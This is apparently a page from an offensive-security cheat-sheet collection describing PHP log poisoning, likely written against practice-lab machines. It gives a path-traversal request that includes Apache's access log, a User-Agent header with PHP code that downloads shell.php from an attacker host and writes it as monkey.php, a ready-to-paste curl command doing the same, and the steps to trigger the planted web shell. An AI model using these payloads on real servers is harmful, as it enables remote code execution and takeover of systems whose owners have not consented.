killchain-compendium/Exploits/Web/PHP Log Poisoning.md

RCE inside HTTP Request Header

• a.k.a. Log Poisoning
• User Agent can be filled with php code

GET /?view=./dog/../../../../../../../../../var/log/apache2/access.log&ext= HTTP/1.1
Host: 10.10.59.238
User-Agent: <?php file_put_contents('monkey.php',file_get_contents('http://<attacker-IP>:<attacker-Port>/shell.php')); ?>
[...]

• copied from browser as curl command:

curl 'http://10.10.211.157/?ext=%20HTTP/1.1&view=./dog/../../../../var/log/apache/access.log' -H "User-Agent: <?php file_put_contents('monkey.php', file_get_contents('http://10.9.7.193:8000/shell.php'));?>"

• go to the access log

10.10.211.157/?ext=.log&view=./dog/../../../../var/log/apache2/access

• Afterwards visit 10.10.211.157/monkey.php